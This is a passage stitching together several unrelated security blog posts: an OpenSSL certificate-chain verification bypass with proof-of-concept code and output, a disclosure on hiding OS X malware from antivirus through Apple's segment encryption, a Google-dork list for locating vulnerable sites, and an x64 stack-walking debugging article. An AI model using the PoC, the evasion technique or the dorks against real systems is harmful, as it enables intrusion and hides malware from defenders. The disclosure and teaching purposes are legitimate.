                    // keep pointing to the certificate on top
                    x = sk_X509_value(ctx->chain, num - 1);
                }
            }
            // <1>
            // continue to construct the chain of certificate（add issuer）
            for (;;) {
                // self-sign and exit
                if (cert_self_signed(x))
                    break;
                // look for the issuer in the trust chain
                ok = ctx->get_issuer(&xtmp, ctx, x);
                // error
                if (ok < 0)
                    return ok;
                //  not found
                if (ok == 0)
                     break;
                x = xtmp;
                // add the issuer for the untrusted certificate to the chain of verification
                if (!sk_X509_push(ctx->chain, x)) {
                    X509_free(xtmp);
                    X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                    return 0;
                }
                num++;
            }
            // <2>
            // verify the issuer chain in for (;;) 
            i = check_trust(ctx);
            if (i == X509_TRUST_REJECTED)
                goto end;
            retry = 0;
             // <3>
            // verify the alternative chain
            if (i != X509_TRUST_TRUSTED
                && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
                && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
                while (j-- > 1) {
                    xtmp2 = sk_X509_value(ctx->chain, j - 1);
                     // return when get a “reasonable-like” certificate，in fact look for the issuer based on CN domain
                    ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
                    if (ok < 0)
                        goto end;
                    // alternative chain exists
                    if (ok > 0) {
                        X509_free(xtmp);
     
                        // remove the part above the alternative chain
                        while (num > j) {
                            xtmp = sk_X509_pop(ctx->chain);
                            X509_free(xtmp);
                            num--;
                            // <4>
                            // the problem is 
                            ctx->last_untrusted--;
                        }
                        // <5>
                        retry = 1;
                        break;
                    }
                }
            }
        } while (retry);
        ……
    }
    
[/code]

The official solution is to recount the value of the position count for the
last untrusted certificate at `<5>` as the chain length:

[code]

    ctx->last_untrusted = sk_X509_num(ctx->chain);
    
[/code]

and remove the self-decreasing operation（doesn't matter）for this untrusted
certificate at `<4>`。 The other solution is to reset the position count for
the last untrusted certificate at `<3>` after `<1>`and `<2>`, and add:

[code]

    ctx->last_untrusted = num;
    
[/code]

In this case, there is no necessity to remove the operation at `<4>`, and the
logic is consistent back and forth.

# 0x03 POC for Exploit

I have modified part of the codes and make a POC. Here it is:

[code]

    int X509_verify_cert(X509_STORE_CTX *ctx)
    {
        X509 *x, *xtmp, *xtmp2, *chain_ss = NULL;
        int bad_chain = 0;
        X509_VERIFY_PARAM *param = ctx->param;
        int depth, i, ok = 0;
        int num, j, retry;
        int (*cb) (int xok, X509_STORE_CTX *xctx);
        STACK_OF(X509) *sktmp = NULL;
        if (ctx->cert == NULL) {
            X509err(X509_F_X509_VERIFY_CERT, X509_R_NO_CERT_SET_FOR_US_TO_VERIFY);
            return -1;
        }
     
        cb = ctx->verify_cb;
     
        /*
         * first we make sure the chain we are going to build is present and that
         * the first entry is in place
         */
        if (ctx->chain == NULL) {
            if (((ctx->chain = sk_X509_new_null()) == NULL) ||
                (!sk_X509_push(ctx->chain, ctx->cert))) {
                X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                goto end;
            }
            CRYPTO_add(&ctx->cert->references, 1, CRYPTO_LOCK_X509);
            ctx->last_untrusted = 1;
        }
     
        /* We use a temporary STACK so we can chop and hack at it */
        if (ctx->untrusted != NULL
            && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
            X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
            goto end;
        }
     
        num = sk_X509_num(ctx->chain);
        x = sk_X509_value(ctx->chain, num - 1);
        depth = param->depth;
     
        for (;;) {
            /* If we have enough, we break */
            if (depth < num)
                break;              /* FIXME: If this happens, we should take
                                     * note of it and, if appropriate, use the
                                     * X509_V_ERR_CERT_CHAIN_TOO_LONG error code
                                     * later. */
     
            /* If we are self signed, we break */
            if (cert_self_signed(x))
                break;
     
            /*
             * If asked see if we can find issuer in trusted store first
             */
            if (ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST) {
                ok = ctx->get_issuer(&xtmp, ctx, x);
                if (ok < 0)
                    return ok;
                /*
                 * If successful for now free up cert so it will be picked up
                 * again later.
                 */
                if (ok > 0) {
                    X509_free(xtmp);
                    break;
                }
            }
     
            /* If we were passed a cert chain, use it first */
            if (ctx->untrusted != NULL) {
                xtmp = find_issuer(ctx, sktmp, x);
                if (xtmp != NULL) {
                    if (!sk_X509_push(ctx->chain, xtmp)) {
                        X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                        goto end;
                    }
                    CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
                    (void)sk_X509_delete_ptr(sktmp, xtmp);
                    ctx->last_untrusted++;
                    x = xtmp;
                    num++;
                    /*
                     * reparse the full chain for the next one
                     */
                    continue;
                }
            }
            break;
        }
     
        /* Remember how many untrusted certs we have */
        j = num;
        /*
         * at this point, chain should contain a list of untrusted certificates.
         * We now need to add at least one trusted one, if possible, otherwise we
         * complain.
         */
     
        do {
            /*
             * Examine last certificate in chain and see if it is self signed.
             */
            i = sk_X509_num(ctx->chain);
            x = sk_X509_value(ctx->chain, i - 1);
            if (cert_self_signed(x)) {
                /* we have a self signed certificate */
                if (sk_X509_num(ctx->chain) == 1) {
                    /*
                     * We have a single self signed certificate: see if we can
                     * find it in the store. We must have an exact match to avoid
                     * possible impersonation.
                     */
                    ok = ctx->get_issuer(&xtmp, ctx, x);
                    if ((ok <= 0) || X509_cmp(x, xtmp)) {
                        ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
                        ctx->current_cert = x;
                        ctx->error_depth = i - 1;
                        if (ok == 1)
                            X509_free(xtmp);
                        bad_chain = 1;
                        ok = cb(0, ctx);
                        if (!ok)
                            goto end;
                    } else {
                        /*
                         * We have a match: replace certificate with store
                         * version so we get any trust settings.
                         */
                        X509_free(x);
                        x = xtmp;
                        (void)sk_X509_set(ctx->chain, i - 1, x);
                        ctx->last_untrusted = 0;
                    }
                } else {
                    /*
                     * extract and save self signed certificate for later use
                     */
                    chain_ss = sk_X509_pop(ctx->chain);
                    ctx->last_untrusted--;
                    num--;
                    j--;
                    x = sk_X509_value(ctx->chain, num - 1);
                }
            }
            /* We now lookup certs from the certificate store */
            for (;;) {
                /* If we have enough, we break */
                if (depth < num)
                    break;
                /* If we are self signed, we break */
                if (cert_self_signed(x))
                    break;
                ok = ctx->get_issuer(&xtmp, ctx, x);
     
                if (ok < 0)
                    return ok;
                if (ok == 0)
                    break;
                x = xtmp;
                if (!sk_X509_push(ctx->chain, x)) {
                    X509_free(xtmp);
                    X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                    return 0;
                }
                num++;
            }
     
            /* we now have our chain, lets check it... */
            i = check_trust(ctx);
     
            /* If explicitly rejected error */
            if (i == X509_TRUST_REJECTED)
                goto end;
     
            /*
             * If it's not explicitly trusted then check if there is an alternative
             * chain that could be used. We only do this if we haven't already
             * checked via TRUSTED_FIRST and the user hasn't switched off alternate
             * chain checking
             */
            retry = 0;
    // <1>
    //ctx->last_untrusted = num;            
     
     
            if (i != X509_TRUST_TRUSTED
                && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
                && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
                while (j-- > 1) {
                    xtmp2 = sk_X509_value(ctx->chain, j - 1);
                    ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
                    if (ok < 0)
                        goto end;
                    /* Check if we found an alternate chain */
                    if (ok > 0) {
                        /*
                         * Free up the found cert we'll add it again later
                         */
                        X509_free(xtmp);
     
                        /*
                         * Dump all the certs above this point - we've found an
                         * alternate chain
                         */
                        while (num > j) {
                            xtmp = sk_X509_pop(ctx->chain);
                            X509_free(xtmp);
                            num--;
                            ctx->last_untrusted--;
                        }
                        retry = 1;
                        break;
                    }
                }
            }
        } while (retry);
     
    printf(" num=%d, real-num=%d\n", ctx->last_untrusted, sk_X509_num(ctx->chain) );
        /*
         * If not explicitly trusted then indicate error unless it's a single
         * self signed certificate in which case we've indicated an error already
         * and set bad_chain == 1
         */
     
     
        if (i != X509_TRUST_TRUSTED && !bad_chain) {
            if ((chain_ss == NULL) || !ctx->check_issued(ctx, x, chain_ss)) {
                if (ctx->last_untrusted >= num)
                    ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY;
                else
                    ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT;
                ctx->current_cert = x;
            } else {
                sk_X509_push(ctx->chain, chain_ss);
                num++;
                ctx->last_untrusted = num;
                ctx->current_cert = chain_ss;
                ctx->error = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN;
                chain_ss = NULL;
            }
     
            ctx->error_depth = num - 1;
            bad_chain = 1;
            ok = cb(0, ctx);
            if (!ok)
                goto end;
        }
    printf("flag=1\n");
        /* We have the chain complete: now we need to check its purpose */
        ok = check_chain_extensions(ctx);
     
        if (!ok)
            goto end;
     
    printf("flag=2\n");
        /* Check name constraints */
     
        ok = check_name_constraints(ctx);
     
        if (!ok)
            goto end;
    printf("flag=3\n");
        ok = check_id(ctx);
     
        if (!ok)
            goto end;
    printf("flag=4\n");
        /* We may as well copy down any DSA parameters that are required */
        X509_get_pubkey_parameters(NULL, ctx->chain);
     
        /*
         * Check revocation status: we do this after copying parameters because
         * they may be needed for CRL signature verification.
         */
     
        ok = ctx->check_revocation(ctx);
        if (!ok)
            goto end;
    printf("flag=5\n");
        i = X509_chain_check_suiteb(&ctx->error_depth, NULL, ctx->chain,
                                    ctx->param->flags);
        if (i != X509_V_OK) {
            ctx->error = i;
            ctx->current_cert = sk_X509_value(ctx->chain, ctx->error_depth);
            ok = cb(0, ctx);
            if (!ok)
                goto end;
        }
    printf("flag=6\n");
        /* At this point, we have a chain and need to verify it */
        if (ctx->verify != NULL)
            ok = ctx->verify(ctx);
        else
            ok = internal_verify(ctx);
        if (!ok)
            goto end;
    printf("flag=7\n");
    #ifndef OPENSSL_NO_RFC3779
        /* RFC 3779 path validation, now that CRL check has been done */
        ok = v3_asid_validate_path(ctx);
        if (!ok)
            goto end;
        ok = v3_addr_validate_path(ctx);
        if (!ok)
            goto end;
    #endif
     
    printf("flag=8\n");
        /* If we get this far evaluate policies */
        if (!bad_chain && (ctx->param->flags & X509_V_FLAG_POLICY_CHECK))
            ok = ctx->check_policy(ctx);
        if (!ok)
            goto end;
        if (0) {
     end:
            X509_get_pubkey_parameters(NULL, ctx->chain);
        }
        if (sktmp != NULL)
            sk_X509_free(sktmp);
        if (chain_ss != NULL)
            X509_free(chain_ss);
    printf("ok=%d\n", ok );        
        return ok;
    }
     
    Poc:
    ?
    //
    //Find yourself a certificate file， it's not provided here.
    //
    #include <stdio.h>
    #include <openssl/crypto.h>
    #include <openssl/bio.h>
    #include <openssl/x509.h>
    #include <openssl/pem.h>
     
     
    STACK_OF(X509) *load_certs_from_file(const char *file)
    {
        STACK_OF(X509) *certs;
        BIO *bio;
        X509 *x;
        bio = BIO_new_file( file, "r");
        certs = sk_X509_new_null();
        do
        {
            x = PEM_read_bio_X509(bio, NULL, 0, NULL);
            sk_X509_push(certs, x);
        }while( x != NULL );
     
        return certs;
    }
     
     
    void test(void)
    {
        X509 *x = NULL;
        STACK_OF(X509) *untrusted = NULL;
        BIO *bio = NULL;
        X509_STORE_CTX *sctx = NULL;
        X509_STORE *store = NULL;
        X509_LOOKUP *lookup = NULL;
     
        store = X509_STORE_new();
        lookup = X509_STORE_add_lookup( store, X509_LOOKUP_file() );
        X509_LOOKUP_load_file(lookup, "roots.pem", X509_FILETYPE_PEM);
        untrusted = load_certs_from_file("untrusted.pem");
        bio = BIO_new_file("bad.pem", "r");
        x = PEM_read_bio_X509(bio, NULL, 0, NULL);
        sctx = X509_STORE_CTX_new();
        X509_STORE_CTX_init(sctx, store, x, untrusted);
        X509_verify_cert(sctx);
    }
     
    int main(void)
    {
        test();
        return 0;
    }
    
[/code]

Add output to the `X509_verify_cert()` function : compile, perform the test
using the forged certificate and get the output as follows:

[code]

    num=1, real-num=3
    flag=1
    flag=2
    flag=3
    flag=4
    flag=5
    flag=6
    flag=7
    flag=8
    ok=1
    
[/code]

If the verification is successful, remove the comment code and perform the
test using the forged certificate again. The output is:

[code]

    num=3, real-num=3
    flag=1
    ok=0
    
[/code]

The verification fails.

# 0x04 Security Suggestions

If you are using the affected version`（OpenSSL 1.0.2b/1.0.2c and OpenSSL
1.0.1n/1.0.1o）`, please update your OpenSSL to the latest one.

# First Hibernate example

**Created:**| _4/15/2010 8:41:50 AM_  
---|---  
**Updated:**| _4/15/2010 8:42:06 AM_  
**Author:**| __  
**Tags:**| _Databases reversing Java programming_  
  
<img src='img/Temp2_3240' />

# Disclosure: Creating undetected malware for OS X | Cerbero Blog
**Created:**| _10/17/2013 1:01:20 PM_  
---|---  
**Updated:**| _10/17/2013 1:01:20 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Mac-hacking_  
  

# **D** isclosure: Creating undetected malware for OS X****

While this PoC is about static analysis, it’s very different than applying a
packer to a malware**.** OS X uses an internal mechanism to load encrypted
Apple executables and we’re going to exploit the same mechanism to defeat
current anti-malware solutions**.**

OS X implements two encryption systems for its executables \(Mach-O\)**.** The
first one is implemented through the **LC\_ENCRYPTION\_INFO** loader
command**.** Here’s the code which handles this command:

[code]

                case LC_ENCRYPTION_INFO:
                    if (pass **!** = 3)
                        break;
                    ret = set_code_unprotect(
                        (struct encryption_info_command *) lcp,
                        addr, map, slide, vp);
                    if (ret **!** = LOAD_SUCCESS) {
                        printf("proc %d: set_code_unprotect() error %d "
                               "for file \"%s\"\n",
                               p->p_pid, ret, vp->v_name);
                        /* Don't let the app run if it's
                         * encrypted but we failed to set up the
                         * decrypter */
                         psignal(p, SIGKILL);
                    }
                    break;
[/code]  
---  
This code calls the **set\_code\_unprotect** function which sets up the
decryption through **text\_crypter\_create** :

[code]

        /* set up decrypter first */
        kr=text_crypter_create(&crypt_info, cryptname, (void*)vpath);
[/code]  
---  
The **text\_crypter\_create** function is actually a function pointer
registered through the **text\_crypter\_create\_hook\_set** kernel API**.**
While this system can allow for external components to register themselves and
handle decryption requests, we couldn’t see it in use on current versions of
OS X.

The second encryption mechanism which is actually being used internally by
Apple doesn’t require a loader command**.** Instead, it signals encrypted
segments through a flag**.**

<img src='img/Temp2_2302.png' alt='Protected flag' />

The ‘**PROTECTED** ‘ flag is checked while loading a segment in the
**load\_segment** function:

[code]

    if (scp->flags & SG_PROTECTED_VERSION_1) {
        ret = unprotect_segment(scp->fileoff,
                    scp->filesize,
                    vp,
                    pager_offset,
                    map,
                    map_addr,
                    map_size);
    } else {
        ret = LOAD_SUCCESS;
    }
[/code]  
---  
The **unprotect\_segment** function sets up the range to be decrypted, the
decryption function and method**.** It then calls
**vm\_map\_apple\_protected****.**

[code]

    #define APPLE_UNPROTECTED_HEADER_SIZE   (3 * PAGE_SIZE_64)
     
    static load_return_t
    unprotect_segment(
        uint64_t    file_off,
        uint64_t    file_size,
        struct vnode        *vp,
        off_t               macho_offset,
        vm_map_t    map,
        vm_map_offset_t     map_addr,
        vm_map_size_t       map_size)
    {
        kern_return_t       kr;
        /*
         * The first APPLE_UNPROTECTED_HEADER_SIZE bytes (from offset 0 of
         * this part of a Universal binary) are not protected..**.**
         * The rest needs to be "transformed".
         */
        if (file_off <= APPLE_UNPROTECTED_HEADER_SIZE &&
            file_off + file_size <= APPLE_UNPROTECTED_HEADER_SIZE) {
            /* it's all unprotected, nothing to do..**.** */
            kr = KERN_SUCCESS;
        } else {
            if (file_off <= APPLE_UNPROTECTED_HEADER_SIZE) {
                /*
                 * We start mapping in the unprotected area**.**
                 * Skip the unprotected part...
                 */
                vm_map_offset_t     delta;
                delta = APPLE_UNPROTECTED_HEADER_SIZE;
                delta -= file_off;
                map_addr += delta;
                map_size -= delta;
            }
            /* ..**.** transform the rest of the mapping. */
            struct pager_crypt_info crypt_info;
            crypt_info.page_decrypt = dsmos_page_transform;
            crypt_info.crypt_ops = NULL;
            crypt_info.crypt_end = NULL;
    #pragma unused(vp, macho_offset)
            crypt_info.crypt_ops = (void *)0x2e69cf40;
            kr = vm_map_apple_protected(map,
                            map_addr,
                            map_addr + map_size,
                            &crypt_info);
        }
        if (kr **!** = KERN_SUCCESS) {
            return LOAD_FAILURE;
        }
        return LOAD_SUCCESS;
    }
[/code]  
---  
Two things about the code above**.** The first 3 pages \(0×3000\) of a Mach-O
can’t be encrypted/decrypted**.** And, as can be noticed, the decryption
function is **dsmos\_page\_transform****.**

Just like **text\_crypter\_create** even **dsmos\_page\_transform** is a
function pointer which is set through the **dsmos\_page\_transform\_hook**
kernel API**.** This API is called by the kernel extension “**Dont Steal Mac
OS X.kext** “, allowing for the decryption logic to be contained outside of
the kernel in a private kernel extension by Apple**.**

Apple uses this technology to encrypt some of its own core components like
“Finder.app” or “Dock.app”**.** On current OS X systems this mechanism doesn’t
provide much of a protection against reverse engineering in the sense that
attaching a debugger and dumping the memory is sufficient to retrieve the
decrypted executable**.**

However, this mechanism can be abused by encrypting malware which will no
longer be detected by the static analysis technologies of current security
solutions**.**

To demonstrate this claim we took a known OS X malware:

<img src='img/Temp2_2300.png' alt='Scan before encryption' />

Since this is our public disclosure, we will say that the detection rate stood
at about 20-25**.**

And encrypted it:

<img src='img/Temp2_2301.png' alt='Scan after encryption' />

After encryption has been applied, the malware is no longer detected by
scanners at VirusTotal **.** The problem is that OS X has no problem in
loading and executing the encrypted malware**.**

The difference compared to a packer is that the decryption code is not present
in the executable itself and so the static analysis engine can’t recognize a
stub or base itself on other data present in the executable, since all
segments can be encrypted**.** Thus, the scan engine also isn’t able to
execute the encrypted code in its own virtual machine for a more dynamic
analysis**.**

Two other important things about the encryption system is that the private key
is the same and is shared across different versions of OS X. And it’s not a
chained encryption either: but per-page**.** Which means that changing data in
the first encrypted page doesn’t affect the second encrypted page and so
on**.**

Our flagship product, Cerbero Profiler , which is an interactive file analysis
infrastructure, is able to decrypt protected executables**.** To dump an
unprotected copy of the Mach-O just perform a “Select all” \(Ctrl+A\) in the
main hex view and then click on “Copy into new file” like in the screen-shot
below**.**

<img src='img/Temp2_2303.png' alt='Mach-O decryption' />

The saved file can be executed on OS X or inspected with other tools**.**

<img src='img/Temp2_2299.png' alt='Decrypted Mach-O' />

Of course, the decryption can be achieved programmatically through our Python
SDK as well**.** Just load the Mach-O file, initialize it
\(**ProcessLoadCommands**\) and save to disk the stream returned by the
**GetStream****.**

A solution to mitigate this problem could be one of the following:

  * Implement the decryption mechanism like we did**.**
  * Check the presence of encrypted segments**.** If they are present, trust only executables with a valid code signature issued by Apple**.**
  * 3\. Check the presence of encrypted segments**.** If they are present, trust only executables whose cryptographic hash matches a trusted one**.**

This kind of internal protection system should be avoided in an operating
system, because it can be abused**.**

After we shared our internal report, VirusBarrier Team at Intego sent us the
following previous research about Apple Binary Protection:

http://osxbook.com/book/bonus/chapter7/binaryprotection/  
http://osxbook.com/book/bonus/chapter7/tpmdrmmyth/  
https://github.com/AlanQuatermain/appencryptor

The research talks about the old implementation of the binary protection**.**
The current page transform hook looks like this:

[code]

      if (v9 == 0x2E69CF40) // this is the constant used in the current kernel
      {
        // current decryption algo
      }
      else
      {
        if (v9 **!** = 0xC2286295)
        {
          // ...
          if (!some_bool)
          {
            printf("DSMOS++: WARNING -- Old Kernel\n");
            ++some_bool;
          }
        }
        // old decryption algo
      }
[/code]  
---  
VirusBarrier Team also reported the following code by Steve Nygard in his
class-dump utility:

https://bitbucket.org/nygard/class-
dump/commits/5908ac605b5dfe9bfe2a50edbc0fbd7ab16fd09c

This is the correct decryption code**.** In fact, the kernel extension by
Apple, just as in the code above provided by Steve Nygard, uses the OpenSSL
implementation of Blowfish**.**

We didn’t know about Nygard’s code, so we did our own research about the topic
and applied it to malware**.** We would like to thank VirusBarrier Team at
Intego for its cooperation and quick addressing of the issue**.** At the time
of writing we’re not aware of any security solution for OS X, apart
VirusBarrier, which isn’t tricked by this technique**.** We even tested some
of the most important security solutions individually on a local machine**.**

The current 0.9**.** 9 version of Cerbero Profiler already implements the
decryption of Mach-Os, even though it’s not explicitly written in the
changelist**.**

We didn’t implement the old decryption method, because it didn’t make much
sense in our case and we’re not aware of a clean way to automatically
establish whether the file is old and therefore uses said encryption**.**

These two claims need a clarification**.** If we take a look at Nygard’s code,
we can see a check to establish the encryption method used:

[code]

    #define CDSegmentProtectedMagic_None 0
    #define CDSegmentProtectedMagic_AES 0xc2286295
    #define CDSegmentProtectedMagic_Blowfish 0x2e69cf40
     
                if (magic == CDSegmentProtectedMagic_None) {
                    // ..**.**
                } else if (magic == CDSegmentProtectedMagic_Blowfish) {
                    // 10**.** 6 decryption
                    // ..**.**
                } else if (magic == CDSegmentProtectedMagic_AES) {
                    // ..**.**
                }
[/code]  
---  
It checks the first dword in the encrypted segment \(after the initial three
non-encrypted pages\) to decide which decryption algorithm should be used**.**
This logic has a problem, because it assumes that the first encrypted block is
full of 0s, so that when encrypted with AES it produces a certain magic and
when encrypted with Blowfish another one**.** This logic fails in the case the
first block contains values other than 0**.** In fact, some samples we
encrypted didn’t produce a magic for this exact reason**.**

Also, current versions of OS X don’t rely on a magic check and don’t support
AES encryption**.** As we can see from the code displayed at the beginning of
the article, the kernel doesn’t read the magic dword and just sets the
Blowfish magic value as a constant:

[code]

            crypt_info.crypt_ops = (void *)0x2e69cf40;
[/code]  
---  
So while checking the magic is useful for normal cases, security solutions
can’t rely on it or else they can be easily tricked into using the wrong
decryption algorithm**.**

If your organization wishes to be informed by us in the future before public
disclosure about findings & issues, it can contact us and become a technical
partner for free**.**

This entry was posted in Security  and tagged Disclosure , Issue , Mac ,
Malware , OS X **.** Bookmark the permalink **.**

****

# Episode81 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:31:49 PM_  
---|---  
**Updated:**| _8/5/2009 12:32:00 PM_  
**Author:**| __  
**Tags:**| _Google pauldotcom socialising_  
  

# Tech Segment: Google Queries To Run Against Your Own Domain

Google hacking is certainly not new, and we give much credit to Johnny Long
\(http://johnny.ihackstuff.com\) and the rest of the Google hacking community.
However, we'd just like to share some of the fun and interesting Google
queries that we have been running lately that serve to help secure our clients
and, well, offer some just plain fun:

1\) "allinurl: account\_manage.php" - Not only does this one return many
different login screen \(which you can attempt default passwords and brute
force\), but the first result is just an example of some of the fun to be had
with returned pages.

2\) "allinurl:sunshop" - So, there was a vulnerability, and associated exploit
posted to milw0rm, for Sunshop 4.0. Using the "allinurl" function I attempted
to find sites running Sunshop, in an attempt to do so it appears that everyone
wants to give me their web server directory structure in the form of PHP
errors. LAME, I know, but so prevelant.

3\) "teen hardcore site:<your site>" - Unless you are a porn company, this
search should turn up no hits. However, if you are not a porn company it can
reveal areas of your web site that offer great entertainment and allow you to
easily slip by web proxies. I mean, uhm, it will identify areas of your site
that need immediate attention as they probably contain a web app that allows
uploads.

4\) "type: html viagra site:<your site>" - This is another way to find the
same thing as \#3, and potentially help you with your, er, uhm, issues...

5\) "site:<your site> filetype:php inurl:id" - This one is a work in progress.
By searching for files of type php, you can sometimes find applications that
are accepting parameters by looking for "id" in the URL. Then, use a trick I
got from Erratasec, replace the fields with ' and find many SQL injection
vulnerabilities.

Some of Bob's favorites:

6\) "filetype:rdp rdp" Bob will go into details for the LOLZ.

7\) "filetype:pst pst"

So, lets teach you how to fish instead of just throwing salmon at you:

Step 1 - Go to security.nnov.ru and find the "Daily Web Application
Vulnerabilities" page

Step 2 - Find a good one, like http://securityvulns.com/Rdocument879.html

Step 3 - Read it, and come up with a Google search to find it, such as
"myphotographer inurl:ee"

Step 4 - Within the results, you should see vulnerable pages. For this one,
replace "ee" field value with your SQL statement for MAX LOLZ.

You now have something to do each day with respects to web application
security :\)

Listener Submitted:

"cybereagle": allinurl:auth\_user\_file.txt

  

# x64 Manual Stack Reconstruction and Stack Walking - Ntdebugging Blog - Site
Home - MSDN Blogs

**Created:**| _4/7/2012 11:20:16 AM_  
---|---  
**Updated:**| _4/7/2012 11:20:16 AM_  
**Author:**| __  
**Tags:**| _x64 stack_  
  

### x64 Manual Stack Reconstruction and Stack Walking

Rate This  
<img src='img/Temp2_10747.png' /><img src='img/Temp2_10748.png' /><img
src='img/Temp2_10747.png' /><img src='img/Temp2_10748.png' /><img
src='img/Temp2_10747.png' /><img src='img/Temp2_10748.png' /><img
src='img/Temp2_10747.png' /><img src='img/Temp2_10748.png' /><img
src='img/Temp2_10747.png' /><img src='img/Temp2_10748.png' />

ntdebug

12 May 2010 10:14 AM

  * 1

My name is Trey Nash and I am an Escalation Engineer on the Core OS team. My
experience is as a software developer, and therefore my blog posts tend to be
slanted in the direction of helping developers during the feature development,
testing and the support phases.

In this installment I would like to expand a bit on a previous post of mine
called Challenges of Debugging Optimized x64 Code. In that post I discussed
the nuances of the x64 calling convention \(thankfully of which there is only
one\) and how it is used in optimized builds of software. The calling
convention is sometimes referred to as the Application Binary Interface
\(ABI\). In this post, I would like to discuss the x64 unwind metadata and how
you can use it in the debugger to manually walk a stack.

In some cases, you may have a corrupted stack that the debugger simply cannot
effectively walk for you. This often happens because the debugger walks a
stack from the top down \(assuming the stack grows upwards as if it were a
stack of places on a table\), and if the stack is sufficiently trashed then
the debugger cannot find its bearing. In the x86 world, a large percentage of
the time, you can spot the stack frames by following the chain of base
pointers and then build a crafty stack backtrace command to display the stack
at some point in time. But in the x64 calling convention there is no base
pointer. In fact, once a function’s prolog code has executed the rsp register
generally never changes until the epilog code. To read more about x64 prolog
and epilog code conventions, go here.

Moreover, the syntax for creating a crafty stack backtrace command in the x64
environment is currently undocumented, and I aim to shed some light on that
near the end of that blog post. J

# The Example Code

For this blog post I have used the following example C\# code that requires
the .NET 4.0 framework and can be easily built from a Visual Studio 2010
command prompt. You can find the code below:

using System;  
using System.Numerics;  
using System.Threading;  
using System.Threading.Tasks;  
using System.Collections.Concurrent;  
  
class EntryPoint  
\{  
const int FactorialsToCompute = 2000;  
  
static void Main\(\) \{  
var numbers = new ConcurrentDictionary<BigInteger, BigInteger>\(4,
FactorialsToCompute\);  
  
// Create a factorial delegate.  
Func<BigInteger, BigInteger> factorial = null;  
factorial = \(n\) => \( n == 0 \) ? 1 : n \* factorial\(n-1\);  
  
// Now compute the factorial of the list  
// concurrently.  
Parallel.For\( 0,  
FactorialsToCompute,  
\(i\) => \{  
numbers\[i\] = factorial\(i\);  
\} \);  
\}  
\}

The spirit of this code is to concurrently compute the first 2000 factorials
and store the results in a dictionary. This code uses the new Task Parallel
Library to distribute this work evenly across the multiple cores on the
system. To compile the example \(assuming the code is stored in test.cs\), you
can execute the following command from a Visual Studio 2010 command prompt:

csc /r:system.numerics.dll test.cs

Note: If you are using a 64bit platform, be sure to use the x64 command prompt
shortcut installed by the Visual Studio 2010 installer.  
  
You can download a free evaluation of Visual Studio 2010 here.

# x64 Unwind Metadata

So how does the debugger and functions such as RtlVirtualUnwind know how to
walk the x64 stack if it cannot find a base pointer? The secret is that it
uses unwind metadata that is typically baked into the Portable Executable
\(PE\) file at link time. You can inspect this information using the
/UNWINDINFO option of the command line tool dumpbin. For example, I went to
the directory on my machine which contains clr.dll
\(c:\Windows\Microsoft.NET\Framework\v4.0.30319\) and dumped the unwind info
looking for CLREvent::WaitEx, which I have pasted below:

00013F20 000DFDB0 000DFE3C 007267D8
?WaitEx@CLREvent@@QEAAKKW4WaitMode@@PEAUPendingSync@@@Z \(public: unsigned
long \_\_cdecl CLREvent::WaitEx\(unsigned long,enum WaitMode,struct
PendingSync \*\)\)  
Unwind version: 1  
Unwind flags: UHANDLER  
Size of prologue: 0x20  
Count of codes: 10  
Unwind codes:  
20: SAVE\_NONVOL, register=rbp offset=0xB0  
1C: SAVE\_NONVOL, register=rbx offset=0xA8  
0F: ALLOC\_SMALL, size=0x70  
0B: PUSH\_NONVOL, register=r14  
09: PUSH\_NONVOL, register=r13  
07: PUSH\_NONVOL, register=r12  
05: PUSH\_NONVOL, register=rdi  
04: PUSH\_NONVOL, register=rsi  
Handler: 0020ADF0 \_\_CxxFrameHandler3  
EH Handler Data: 007B3F54

I’ll get into what all of this means shortly.

Note: The dumpbin.exe functionality is also exposed via the linker. For
example, the command “dumpbin.exe /?” is identical to “link.exe /dump /?”.

Within the debugger, you can find this same information for a particular
function using the .fnent command. To demonstrate, I executed the example code
within a windbg instance and broke in at some random point and chose one of
the threads to look at which has a stack looking like the following:

12 Id: f80.7f0 Suspend: 1 Teb: 000007ff\`fffa0000 Unfrozen  
\# Child-SP RetAddr Call Site  
00 00000000\`04a51e18 000007fe\`fd4e10ac ntdll\!NtWaitForSingleObject+0xa  
01 00000000\`04a51e20 000007fe\`f48bffc7
KERNELBASE\!WaitForSingleObjectEx+0x79  
02 00000000\`04a51ec0 000007fe\`f48bff70 clr\!CLREvent::WaitEx+0x170  
03 00000000\`04a51f00 000007fe\`f48bfe23 clr\!CLREvent::WaitEx+0xf8  
04 00000000\`04a51f60 000007fe\`f48d51d8 clr\!CLREvent::WaitEx+0x5e  
05 00000000\`04a52000 000007fe\`f4995249
clr\!SVR::gc\_heap::wait\_for\_gc\_done+0x98  
06 00000000\`04a52030 000007fe\`f48aef28 clr\!SVR::GCHeap::Alloc+0xb4  
07 00000000\`04a520a0 000007fe\`f48aecc9 clr\!FastAllocatePrimitiveArray+0xc5  
08 00000000\`04a52120 000007fe\`f071244c clr\!JIT\_NewArr1+0x389  
09 00000000\`04a522f0 000007fe\`f07111b5 System\_Numerics\_ni+0x2244c  
0a 00000000\`04a52330 000007ff\`00150acf System\_Numerics\_ni+0x211b5  
0b 00000000\`04a523d0 000007ff\`0015098c 0x7ff\`00150acf  
0c 00000000\`04a52580 000007ff\`0015098c 0x7ff\`0015098c  
